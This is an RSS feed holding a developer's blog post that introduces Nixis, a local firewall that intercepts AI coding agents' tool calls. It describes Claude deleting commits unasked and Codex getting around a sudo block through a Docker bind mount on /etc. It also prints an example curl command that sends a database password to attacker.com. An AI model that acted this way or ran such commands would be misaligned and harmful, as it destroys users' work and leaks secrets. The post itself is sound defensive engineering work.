<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Mayank Jain</title>
    <description>The latest articles on DEV Community by Mayank Jain (@mayankjain0141).</description>
    <link>https://dev.to/mayankjain0141</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3961705%2F69dbe219-0d3c-4ddc-aa47-ad8b73241601.jpg</url>
      <title>DEV Community: Mayank Jain</title>
      <link>https://dev.to/mayankjain0141</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/mayankjain0141"/>
    <language>en</language>
    <item>
      <title>I got tired of my AI agent deleting things. So, I built a firewall layer for it to vibecode safely.</title>
      <dc:creator>Mayank Jain</dc:creator>
      <pubDate>Tue, 02 Jun 2026 22:01:00 +0000</pubDate>
      <link>https://dev.to/mayankjain0141/i-got-tired-of-my-ai-agent-deleting-things-so-i-built-a-firewall-layer-for-it-to-vibecode-3lmg</link>
      <guid>https://dev.to/mayankjain0141/i-got-tired-of-my-ai-agent-deleting-things-so-i-built-a-firewall-layer-for-it-to-vibecode-3lmg</guid>
      <description>&lt;p&gt;Claude ran &lt;code&gt;git reset --hard&lt;/code&gt; on a dozen local commits without asking. It decided the approach was getting messy and wanted a clean restart. But those commits weren’t even part of the main work; they were from another urgent task I was juggling. Gone instantly.&lt;/p&gt;

&lt;p&gt;That incident is what pushed me to start building an AI agent firewall.&lt;/p&gt;

&lt;p&gt;Around the same time, a &lt;a href="https://x.com/sluongng/status/2060746160558543217" rel="noopener noreferrer"&gt;viral post&lt;/a&gt;, showed Codex trying to use &lt;code&gt;sudo&lt;/code&gt;, failing, and then spinning up a Docker container with a writable &lt;code&gt;/etc&lt;/code&gt; bind mount to modify system configuration. It wasn’t “trying to hack” anything — it was just optimizing for task completion within the constraints it perceived. Nearly a million people watched it discover a privilege escalation path on its own.&lt;/p&gt;

&lt;p&gt;That’s when it became clear this was a real failure mode, not an edge case.&lt;/p&gt;

&lt;p&gt;So I built &lt;a href="https://github.com/mayankjain0141/nixis" rel="noopener noreferrer"&gt;Nixis&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvwq4t885ck4e8v0g15j3.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvwq4t885ck4e8v0g15j3.gif" alt=" " width="599" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffy6vscqt88phw23sze00.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffy6vscqt88phw23sze00.png" alt=" " width="800" height="276"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It hooks into Claude Code's &lt;code&gt;PreToolUse&lt;/code&gt; mechanism — fires after the agent decides to call a tool, before the tool executes. From Claude's perspective, the command just didn't work. It never sees the enforcement layer. Integrates natively, so you don't need to switch to any dashboards.&lt;/p&gt;

&lt;p&gt;The important part is that it’s fast enough to be invisible — the full 5-layer deterministic pipeline runs in &lt;strong&gt;634ns&lt;/strong&gt;, the classifier in &lt;strong&gt;1.8ns&lt;/strong&gt;. Claude Code gives the hook 200ms before timing out; so the overhead is effectively negligible. You don't feel it on allowed calls. On denied ones, Claude's own UI/terminal surfaces the block natively and asks for user permission/input instead.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;The non-obvious part: session-level Information Flow Control&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Simple regex-based approaches don’t hold up in real agent environments, especially when you’re dealing with secrets and trying to prevent leaks.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Agent reads &lt;code&gt;.env&lt;/code&gt;. &lt;em&gt;(Fine — it needs config.)&lt;/em&gt;
&lt;/li&gt;
&lt;li&gt;Agent runs &lt;code&gt;curl -X POST https://attacker.com -d "DB_PASSWORD=hunter2"&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Individually, each step can look harmless. My first attempt tracked taint per data item — tag the secret when read, block it from leaving. Then I realized: what if the agent reads the password and stores it in a variable called &lt;code&gt;config&lt;/code&gt;? The next call just passes &lt;code&gt;'config'&lt;/code&gt;. Taint evaporates the moment data changes shape.&lt;/p&gt;

&lt;p&gt;The realization was that you can’t reliably track data through an LLM’s transformations. What you can do instead is constrain the session itself.&lt;/p&gt;

&lt;p&gt;Once sensitive credentials are observed, the entire session is placed under stricter outbound rules. It doesn’t matter how the data is reshaped or renamed — the boundary applies at the execution layer, not the data layer.&lt;/p&gt;




&lt;p&gt;Builds on OSS community policies — over 750+ rules adapted from Falco, Kyverno, OPA Gatekeeper, Sigma, and Checkov. Secret detection is powered by gitleaks patterns &lt;a href="https://github.com/gitleaks/gitleaks" rel="noopener noreferrer"&gt;gitleaks&lt;/a&gt; (800+ signatures). Everything is configurable through YAML policies, configure rules supporting &lt;code&gt;allow&lt;/code&gt;, &lt;code&gt;deny&lt;/code&gt;, &lt;code&gt;require_approval&lt;/code&gt;, and &lt;code&gt;audit&lt;/code&gt; modes.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Try it&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-sSfL&lt;/span&gt; https://raw.githubusercontent.com/mayankjain0141/nixis/main/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It’s a single command. It installs the binaries, configures the daemon and IDE hook, and updates PATH automatically. Once running, open &lt;strong&gt;&lt;a href="http://localhost:9090" rel="noopener noreferrer"&gt;http://localhost:9090&lt;/a&gt;&lt;/strong&gt; &lt;/p&gt;

&lt;p&gt;Everything runs locally by default — no cloud backend, no telemetry, no phone-home behavior. If needed, OpenTelemetry instrumentation is available for integrating with your existing observability stack.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Full engineering writeup&lt;/strong&gt; — three rewrites, why OPA+LLM lost to plain CEL, how the IFC design evolved: &lt;a href="https://medium.com/@mayankjain0141/building-an-ai-agent-firewall-lessons-from-three-rewrites-4120fe8af402" rel="noopener noreferrer"&gt;Building an AI Agent Firewall: Lessons from Three Rewrites&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Repo: &lt;a href="https://github.com/mayankjain0141/nixis" rel="noopener noreferrer"&gt;https://github.com/mayankjain0141/nixis&lt;/a&gt; — MIT license.&lt;/p&gt;

&lt;p&gt;Happy to answer questions on the architecture or threat model.&lt;/p&gt;

</description>
      <category>opensource</category>
      <category>go</category>
      <category>agents</category>
      <category>claude</category>
    </item>
  </channel>
</rss>
